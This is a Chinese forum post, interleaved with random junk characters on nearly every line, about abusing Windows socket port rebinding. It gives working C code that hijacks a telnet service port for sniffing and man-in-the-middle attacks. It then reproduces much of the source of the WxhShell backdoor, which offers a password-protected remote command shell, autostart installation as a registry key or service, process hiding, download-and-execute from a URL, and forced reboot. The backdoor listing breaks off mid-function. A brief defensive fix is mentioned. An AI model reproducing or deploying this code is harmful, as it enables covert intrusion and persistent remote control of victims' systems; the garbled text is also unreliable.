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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D{4]c)>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vgr 5j  
&Mz.i,Gh  
  saddr.sin_family = AF_INET; ZCfd<NS?  
1X?q4D"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); S7R*R}  
= mhg@N4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); KF`mOSP  
4@M}5WJ7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,%y!F3m  
grJ(z)c  
  这意味着什么?意味着可以进行如下的攻击: SNHAL F  
W:2]d  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 L|A1bxt  
gLbTZM4i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) AJP-7PPD  
@,pn/[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 OoZv\"}!_  
a1v?{vu\E  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  P;ZVv{mT  
]v$2JgF]@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ye[Fu/0  
}7qboUGe  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 t & 5s.  
;#7:}>}rO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  b|Eo\l2  
!nF.whq  
  #include }&EdA;/o_  
  #include 5N|hsfkx  
  #include lhF)$M  
  #include    1EliR uJ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   M7(]NQ\TQ  
  int main() @^b>S6d "  
  { o~VZ%B  
  WORD wVersionRequested; BR~+CBH  
  DWORD ret; w|ct="MG  
  WSADATA wsaData; B)qcu'>iy  
  BOOL val; nA+gqY6 6|  
  SOCKADDR_IN saddr; 08nA}+k  
  SOCKADDR_IN scaddr; Z%VgAV>>  
  int err; -Z:nImqzc  
  SOCKET s; {=P}c:i W  
  SOCKET sc; e.;B?0QrV  
  int caddsize; [iN\R+:  
  HANDLE mt; 0-Wv$o[  
  DWORD tid;   mFBuKp+0)h  
  wVersionRequested = MAKEWORD( 2, 2 ); U+@rLQ.-  
  err = WSAStartup( wVersionRequested, &wsaData ); j|y"Lcq  
  if ( err != 0 ) { MAgoxq~;V  
  printf("error!WSAStartup failed!\n"); I -V=Z:  
  return -1; 4'L.I%#tZ  
  } eXtlqU$  
  saddr.sin_family = AF_INET; Gg5>~"pb  
   ZV~9{E8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (gUxS.zU  
HgOrrewj  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); q>VvXUyK,  
  saddr.sin_port = htons(23); >NBwtF>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dca?(B!'6  
  { 5Ja[p~^L  
  printf("error!socket failed!\n"); V}q=!zz  
  return -1; ^FK-e;J  
  } }[By N).  
  val = TRUE; <{k8 K6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ng\]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cb_nlG!  
  { R|!4klb  
  printf("error!setsockopt failed!\n"); oMF[<Xf  
  return -1; j$khGR!  
  } m2to94yh  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; UphZRgT!N  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @}A3ie'w  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Opf^#6'mq  
WVh]<?GWXk  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) K%NgZ(x(  
  { #h2 qrX&+  
  ret=GetLastError(); 7u[$  
  printf("error!bind failed!\n"); uS{WeL6%  
  return -1; ZG_iF#  
  } pt9fOih[  
  listen(s,2); u!I=|1s  
  while(1) 4Kn)5>  
  { w)%/Me3o  
  caddsize = sizeof(scaddr); QQX7p!~E  
  //接受连接请求 VKHzGfv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lA ZBlO  
  if(sc!=INVALID_SOCKET) b@)nB  
  { -|/*S]6kK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 604^~6  
  if(mt==NULL) J"yq)0  
  { -y)g}D%  
  printf("Thread Creat Failed!\n"); +ZPn[|  
  break; hbTJXP~~?  
  } xU$15|ny  
  } NpF)|Ppb{  
  CloseHandle(mt); uE,j$d  
  } D P+W* 87J  
  closesocket(s); F;)qM|7  
  WSACleanup(); *^.OqbO[U  
  return 0; qJ<Ghd`8v  
  }   ^97\TmzP{  
  DWORD WINAPI ClientThread(LPVOID lpParam) -v?)E S  
  { h>&t``<  
  SOCKET ss = (SOCKET)lpParam; iLJBiZ+  
  SOCKET sc; cW\Y1=Gv|  
  unsigned char buf[4096]; -5Ln3\ O@  
  SOCKADDR_IN saddr; MF.$E?_R  
  long num; <=PYu:]h  
  DWORD val; \Gz 79VW  
  DWORD ret; hZeF? G)L'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %scQP{%aD  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   'V(9ein^Q  
  saddr.sin_family = AF_INET; teg[l-R"7z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x.aqy'/`  
  saddr.sin_port = htons(23); D 13bQ&\B-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A=pyaU`aE  
  { y'U-y"7y  
  printf("error!socket failed!\n"); !jyy`q=  
  return -1; k= oCpXq^  
  } $1;@@LSw  
  val = 100; u_X(c'aE;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]ag^~8bG @  
  { &cB +la\_  
  ret = GetLastError(); (j884bu  
  return -1; ]`_eaW?Ua  
  } ue"e><c6:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3\&I7o3V  
  { K.::P84m;  
  ret = GetLastError(); 1|xo4fmV  
  return -1; OK=ANQjs(  
  } 1agI/R  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) wb/@g=` d  
  { qJT|om L Y  
  printf("error!socket connect failed!\n"); C?lZu\L  
  closesocket(sc); g WHjI3;  
  closesocket(ss); ,kw:g&A  
  return -1; <l"rnM%  
  } TWT h!  
  while(1) @RFJe$%  
  { cK~VNzsz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q DJe:\n  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 SyCa~M!}>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^?o>(K  
  num = recv(ss,buf,4096,0); QeipfK+me  
  if(num>0) UWg+7RL  
  send(sc,buf,num,0); ]ppws3*Pa  
  else if(num==0) K{[N.dX(  
  break; e[*%tx H  
  num = recv(sc,buf,4096,0); b?%Pa\,!  
  if(num>0) )5U2-g#U  
  send(ss,buf,num,0); R:t  
  else if(num==0) H"J>wIuGX  
  break; nj5Hls  
  } [Cf{2WB:7  
  closesocket(ss); x] j&Knli  
  closesocket(sc); OZi4S3k  
  return 0 ; `*HM5 1U  
  } QsH?qI&2jp  
EK<ly"S.  
j`ybzG^  
========================================================== $>!tpJw  
<CY<-H  
下边附上一个代码,,WXhSHELL 1n|K   
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========================================================== mM)d`br  
co [  
#include "stdafx.h" 40R7@Vaf  
%6HJM| {H  
#include <stdio.h> =Z}=nS?4  
#include <string.h> |;MW98 A  
#include <windows.h> f4r)g2Zb[  
#include <winsock2.h> fT  
#include <winsvc.h> 8u4FagQ,  
#include <urlmon.h> sRDxa5<MD  
=%oQIx  
#pragma comment (lib, "Ws2_32.lib") p|o?nI  
#pragma comment (lib, "urlmon.lib") a7wc>@9Q,  
Q2nqA1sRk  
#define MAX_USER   100 // 最大客户端连接数 ;;lOu~-*$p  
#define BUF_SOCK   200 // sock buffer ;J&9 l >  
#define KEY_BUFF   255 // 输入 buffer Nvj0MD{ X  
l fJ lXD  
#define REBOOT     0   // 重启 ;iT ZzmB  
#define SHUTDOWN   1   // 关机 {;E]#=|  
`}|$eF&  
#define DEF_PORT   5000 // 监听端口 5;Q9Z1 `  
NB?y/v  
#define REG_LEN     16   // 注册表键长度 }N%uQP#I  
#define SVC_LEN     80   // NT服务名长度 Rg6/6/ IN  
)G=hgqy  
// 从dll定义API ~Op~~ m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /w2jlu}yt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zaMKwv}BR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gtlyQ _V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {axMS yp;  
Z]x)d|3;  
// wxhshell配置信息 wH N5H  
struct WSCFG { }Z3+z@L  
  int ws_port;         // 监听端口 CwQRHi  
  char ws_passstr[REG_LEN]; // 口令 c&;Xjy  
  int ws_autoins;       // 安装标记, 1=yes 0=no @w{"6xc%a  
  char ws_regname[REG_LEN]; // 注册表键名 8KyF0r?  
  char ws_svcname[REG_LEN]; // 服务名 n>aH7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Os"T,`F2s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D ~LU3#n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ? fmW'vs  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u RPvo}!=1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {u{8QKeC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X;%*+xQ^  
_rjB.  
}; [|{m/`8C  
~ w,hJ `  
// default Wxhshell configuration I!;vy/r  
struct WSCFG wscfg={DEF_PORT, D;QV`Z% I  
    "xuhuanlingzhe",  O)?  
    1, _yP02a^2  
    "Wxhshell", >P[BwL]  
    "Wxhshell", F=l.2t*9  
            "WxhShell Service", Kb,#Ot  
    "Wrsky Windows CmdShell Service", 8PtX@s43\  
    "Please Input Your Password: ", 0V5{:mzA  
  1, z)0%gd|  
  "http://www.wrsky.com/wxhshell.exe", 0D:eP``  
  "Wxhshell.exe" Sxg&73;ZV  
    }; 1G62Qu$O  
PuoN<9 #  
// 消息定义模块 $1b x\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vQhi2J'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JDj^7\`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (X(c.Jj  
char *msg_ws_ext="\n\rExit."; !:|[?M.`  
char *msg_ws_end="\n\rQuit."; (3fU2{sm  
char *msg_ws_boot="\n\rReboot..."; 7R5!(g  
char *msg_ws_poff="\n\rShutdown..."; #23m_w^L  
char *msg_ws_down="\n\rSave to "; 0f3C; u-q-  
A.@Af+  
char *msg_ws_err="\n\rErr!"; QLum=YB  
char *msg_ws_ok="\n\rOK!"; '1te(+;e@  
7UA|G2Zr  
char ExeFile[MAX_PATH]; %5|DdpES  
int nUser = 0; }}MZgm~U)  
HANDLE handles[MAX_USER]; ga+Z6|t  
int OsIsNt; U7@)RJ  
5X=ik7m^  
SERVICE_STATUS       serviceStatus; ?=a,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PP_fTacX  
9a;8^?Ld%S  
// 函数声明 dpI9DzA;  
int Install(void); ~sUWXw7~  
int Uninstall(void); ;_<K>r*  
int DownloadFile(char *sURL, SOCKET wsh); ZFO*D79:K  
int Boot(int flag); r(uf yC&  
void HideProc(void); "Ir.1FN  
int GetOsVer(void); B@@j-  
int Wxhshell(SOCKET wsl); |y~un9j +  
void TalkWithClient(void *cs); Q]NGd 0J  
int CmdShell(SOCKET sock); <;.->73E  
int StartFromService(void); ajMI7j^G  
int StartWxhshell(LPSTR lpCmdLine); cAAyyc"yJ  
y.m;4((  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x.-d>8-!]c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Qpaan  
LJII7<k  
// 数据结构和表定义 gdVajOAu  
SERVICE_TABLE_ENTRY DispatchTable[] =  }j /r  
{ 9}DF*np`G  
{wscfg.ws_svcname, NTServiceMain}, KIfR4,=Q|  
{NULL, NULL} y/}ENUGR  
}; u{"@ 4  
zA?]AL(+YW  
// 自我安装 l5bd);L tq  
int Install(void) YMEI J}  
{ 875BD U  
  char svExeFile[MAX_PATH]; 6a\YD{D] _  
  HKEY key; %/(>>*}Kw|  
  strcpy(svExeFile,ExeFile); GY;q0oQ,  
KB^i=+xr  
// 如果是win9x系统,修改注册表设为自启动 {f }4l  
if(!OsIsNt) { h]z>H~.<*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F6h|AF|"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7 /$s!pV  
  RegCloseKey(key); <DjFMTCN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U%,N"]`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :5M7*s)e16  
  RegCloseKey(key); 4;hgi[  
  return 0; ; 3WA-nn  
    } xjDV1Xf*  
  } YN@ 4.&RP  
} &QL!Y{=Y6  
else { ]{<`W5 b/  
Sn lKPd  
// 如果是NT以上系统,安装为系统服务 -n`igC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1TvR-.e  
if (schSCManager!=0) L--(Y+vmf  
{ 7~V,=WEe  
  SC_HANDLE schService = CreateService $MT'ZM  
  ( u< ,c  
  schSCManager, '~ {xn  
  wscfg.ws_svcname, = NHzh!  
  wscfg.ws_svcdisp, 3+E AMn  
  SERVICE_ALL_ACCESS, 5z>kz/uxW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9(/ ;Wutj"  
  SERVICE_AUTO_START, S^Z[w|1  
  SERVICE_ERROR_NORMAL, oe:@7stG  
  svExeFile, $rh{f<  
  NULL, -&ic%0|f  
  NULL, ?(^HjRUY  
  NULL, 07_ym\N  
  NULL, ! Bv"S0  
  NULL !P&F6ViO=  
  ); p(F}[bP  
  if (schService!=0) wf<=r W'  
  { KnC;j-j  
  CloseServiceHandle(schService); exqFwmhh  
  CloseServiceHandle(schSCManager); R`F54?th  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f(h nomn  
  strcat(svExeFile,wscfg.ws_svcname); ZgcJxWC<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |@x^5Ab$T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7X$[E*kd  
  RegCloseKey(key); mOb*VH  
  return 0; YFVNkB O%  
    } W(oJ{R&m{  
  } R`wL%I!?f  
  CloseServiceHandle(schSCManager); ]Fc<% wzp  
} cGhnI&  
} #S/]=D  
U9[ &ci  
return 1; t} zffe-  
} n4cM /unU  
TU-4+o%;  
// 自我卸载 kgX"LQh;[G  
int Uninstall(void) +P?!yH,n  
{ (3DjFT3 w  
  HKEY key; Zr0bVe+h  
RnN]m!"5  
if(!OsIsNt) { 3iHUG^sLW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Tl^9!>\Q  
  RegDeleteValue(key,wscfg.ws_regname); cuO)cj]@e  
  RegCloseKey(key); "F(LTppy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IcM99'P(  
  RegDeleteValue(key,wscfg.ws_regname); |0A"3w  
  RegCloseKey(key); s4@dEK8W  
  return 0; -kh O4,  
  } =l_B58wrx  
} 7cGc`7  
} /STFXR1@.u  
else { ZqhCGHy  
U[EM<5@I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c/Fy1Lv\  
if (schSCManager!=0) $niJw@zC  
{ ^tS{a*Yn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M]O _L  
  if (schService!=0) jN\} l|;q  
  { lWr{v\L'  
  if(DeleteService(schService)!=0) { *C81DQ  
  CloseServiceHandle(schService); Y40`~  
  CloseServiceHandle(schSCManager); ,m| :U  
  return 0; 'D ,efTq  
  } "|?zQ?E  
  CloseServiceHandle(schService); uD=i-IHT  
  } 5OUGln5  
  CloseServiceHandle(schSCManager); e>zCzKK  
} H ?Vo#/  
} D# ZzhHHP  
C&\MDOjx  
return 1; ,(H`E?m1w4  
} !^{0vFWE  
W(h].'N  
// 从指定url下载文件 .TcsXYL.`,  
int DownloadFile(char *sURL, SOCKET wsh) B$R"Ntp  
{ D=hy[sDBw  
  HRESULT hr; < Y5pAStg  
char seps[]= "/"; $#3O:aW  
char *token; p"A2N +  
char *file; i3bH^WwE&k  
char myURL[MAX_PATH]; ]ow$VF{y  
char myFILE[MAX_PATH]; ch|4"&g  
PtH>I,/  
strcpy(myURL,sURL); @>>8CU^~  
  token=strtok(myURL,seps); 4+rr3 $AY  
  while(token!=NULL) Rra3)i`*  
  { 9 7/"5i9  
    file=token; {+`'ZU6C  
  token=strtok(NULL,seps); ;DQ{6(  
  } 'Z(KE2&?  
,t"?~Hl".  
GetCurrentDirectory(MAX_PATH,myFILE); :<t%Sf  
strcat(myFILE, "\\"); Z>0a?=1[  
strcat(myFILE, file); :c4iXK0_^?  
  send(wsh,myFILE,strlen(myFILE),0); 0;Lt  
send(wsh,"...",3,0); ZDMv8BP7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1k=w 9  
  if(hr==S_OK) 1(S0hm[ov  
return 0; C[E[|s*l  
else !V<c:6"  
return 1; RKIBFP8.  
'CF?pxNQ l  
} R,]J~TfPK  
S511}KPbm/  
// 系统电源模块 R,+Pcn$ws  
int Boot(int flag) Y^Of  
{ y {&"g  
  HANDLE hToken; 4b\R@Knu  
  TOKEN_PRIVILEGES tkp; }> q%##<n  
U*P&O+(1'  
  if(OsIsNt) { 47S1mxur  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A_h|f5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;k W+  
    tkp.PrivilegeCount = 1; %Aqt0e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C?xah?Sk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QcW6o,  
if(flag==REBOOT) { Ly\  `  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }MUQO<=*  
  return 0; O4)'78ATp  
} N>zpx U {  
else { }s9eRmJs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _*K=Z,a;\  
  return 0; fGZZ['E  
} Yz%AKp  
  } L1H k[j]X|  
  else { D^_]x51>  
if(flag==REBOOT) { cDkq@H:   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !^[i"F:G  
  return 0; 3I"xuKxc  
} _Wb3,E a=  
else { +#;t.&\80N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =,MX%-2  
  return 0; W"{:|'/v  
} n]3Lqe;  
} `>HM<Nn-0  
[Sj _=  
return 1; }s@ i  
} >'eY/>n{  
8I>'x f  
// win9x进程隐藏模块 rtjUHhF  
void HideProc(void) q0m> NA   
{ u5'jIqlU  
6E^h#Ozl 9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ydZS^BqG  
  if ( hKernel != NULL ) Qhc>,v)  
  { b41f7t=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pu"m(9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d`w3I`P1  
    FreeLibrary(hKernel); ,J@A5/B,AA  
  } JEL.*[/  
o8RVmOXe  
return; uo TTHj7cq  
} >;sz(F3)  
C j4ED  
// 获取操作系统版本 hZwbYvu  
int GetOsVer(void) (drDC1\  
{ =Hd+KvA  
  OSVERSIONINFO winfo; yq=rv$.s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O0Pb"ou_h.  
  GetVersionEx(&winfo); S^c; i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VF bso3q<j  
  return 1; ev4f9Fhu  
  else b(HbwOt ~3  
  return 0; mS9ITe M  
} >zS<1  
:z^,>So:  
// 客户端句柄模块 z+5%.^Re  
int Wxhshell(SOCKET wsl) N<N uBtkA  
{ /)J]m  
  SOCKET wsh; 2:jWO_V@  
  struct sockaddr_in client; L; o$vI~U,  
  DWORD myID; PR2;+i3  
mHB0eB'l  
  while(nUser<MAX_USER) s#p\ r  
{ 5OM*NT t  
  int nSize=sizeof(client); L!LhH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >Tp`Kri  
  if(wsh==INVALID_SOCKET) return 1; 6 k6}SlN[  
PNB E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BCI[jfd7  
if(handles[nUser]==0) 2EC<8}CG  
  closesocket(wsh); \LYNrL~?J  
else [Te"|K':  
  nUser++; 9>-]*7  
  } nr?|!gj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :>*0./hG  
)qeed-{  
  return 0; Yl`)%6'5|  
} 0x2[*pJ|IW  
@=6*]:p2.  
// 关闭 socket DEQ7u`6  
void CloseIt(SOCKET wsh)  V$fn$=  
{ 9#:B_?e=  
closesocket(wsh); ^US ol/  
nUser--; 1a tQ9  
ExitThread(0); r:U/a=V  
} aflBDo1c  
$2>"2*,04  
// 客户端请求句柄 giH WC%/  
void TalkWithClient(void *cs) `&jG8lHa  
{ D$fWeG{f  
'j$n;3  
  SOCKET wsh=(SOCKET)cs; Ya29t 98Pk  
  char pwd[SVC_LEN]; Lk]W?  
  char cmd[KEY_BUFF]; 62 9g_P)  
char chr[1]; K)#6&\0tT  
int i,j; eZ|_wB'r  
i'3)5  
  while (nUser < MAX_USER) { ;$g?W"  
4G'-"u^g  
if(wscfg.ws_passstr) { #]*]qdQWV^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4Cp)!Bq?/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4O7 {a  
  //ZeroMemory(pwd,KEY_BUFF); ?>DwNz^.!  
      i=0; 9dwLkr  
  while(i<SVC_LEN) { @;7Ht Z`  
_BI[F m  
  // 设置超时 o]aMhSol  
  fd_set FdRead; ]VoJ7LoCZ'  
  struct timeval TimeOut; W=I~GhM  
  FD_ZERO(&FdRead); Sr>5V  
  FD_SET(wsh,&FdRead); hg-M>|s7  
  TimeOut.tv_sec=8; Q#lFt,.y  
  TimeOut.tv_usec=0; 3 p!t_y|SX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FVWHiwRU,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q"u,r6ED  
OWZ;X}x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ot,=.%O  
  pwd=chr[0]; Rnw v/)  
  if(chr[0]==0xd || chr[0]==0xa) { " ""pe+Y  
  pwd=0; ;umbld0  
  break; kC iOcl*$  
  } df{6!}/(  
  i++; -Yg?@yt  
    } 0QY9vuhL<  
^+}~"nvD  
  // 如果是非法用户,关闭 socket 4U*CfdZZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x$) E^|A+  
} ,[[Xo;q  
{yM@3v~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -/R?D1kOq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )v %tyU  
7 b 8pWM  
while(1) { LJOJ2x  
~H:.&'E  
  ZeroMemory(cmd,KEY_BUFF); ]Y3s5#n  
=D Tbz3<  
      // 自动支持客户端 telnet标准   i2Sh^\Xw  
  j=0; {2LG$x-N%  
  while(j<KEY_BUFF) { hw1J <Pl*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Mo]  
  cmd[j]=chr[0]; o`.5NUn  
  if(chr[0]==0xa || chr[0]==0xd) { fJ;1ii~  
  cmd[j]=0; COcS w  
  break; .[o`TlG%  
  } wu3p2#-Z  
  j++; r#w.y g4EX  
    } :Fi$-g  
_.xicov  
  // 下载文件 %JuT'7VB  
  if(strstr(cmd,"http://")) { pDt45   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2U) 0k *  
  if(DownloadFile(cmd,wsh)) [s F/sa 3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5>>JQ2'W  
  else aK--D2@}i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  q{pa _  
  } is`~C  
  else { T&->xe f=  
U,V+qnS  
    switch(cmd[0]) { fz<GPw  
  u2cDSRrqT  
  // 帮助 V"8w:?  
  case '?': { -_irkpdC[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gb/<(I )  
    break; G=&nwSL  
  } z0?IQzR^T  
  // 安装 8>[o. xV  
  case 'i': { j"n"=rTTQ  
    if(Install()) g1&q6wCg|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4E@_Fn_#  
    else !"dAwG?S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S^nI=HTm  
    break; +O@|bd \  
    } 9 OZXs2~x  
  // 卸载 :~'R|l  
  case 'r': { 98lz2d/Fcq  
    if(Uninstall()) U&gI_z[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (1Klj+"p%  
    else y0,>_MS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !_>o2  
    break;  e,T^8_>  
    } xo#K_"E  
  // 显示 wxhshell 所在路径 P9 qZjBS  
  case 'p': { 5-POY ug  
    char svExeFile[MAX_PATH]; TnJNs  
    strcpy(svExeFile,"\n\r"); Ym 1; /'  
      strcat(svExeFile,ExeFile); %nyZ=&u  
        send(wsh,svExeFile,strlen(svExeFile),0); -GYJ)f  
    break; ["15~9  
    } l]S%k&  
  // 重启 Wx|De7*  
  case 'b': { b&*N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H.&"~eH  
    if(Boot(REBOOT)) WZcAwYB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O#Ho08*Xn  
    else { sU"sd7#A  
    closesocket(wsh); 7myYs7N8[  
    ExitThread(0); 6Tsi^((Li  
    } K1zH\wH  
    break; !nTI(--  
    } VUzRA"DP|  
  // 关机 N[;R8S P  
  case 'd': { 4f'!,Q ;  
